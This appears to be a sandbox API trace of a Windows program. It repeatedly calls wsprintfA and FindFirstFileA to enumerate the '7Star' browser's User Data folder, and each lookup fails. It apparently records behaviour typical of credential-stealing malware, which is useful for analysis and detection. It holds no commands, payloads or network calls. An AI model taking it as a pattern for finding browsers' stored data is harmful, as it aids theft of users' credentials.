[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.843] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.843] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.844] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.844] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.845] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.845] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
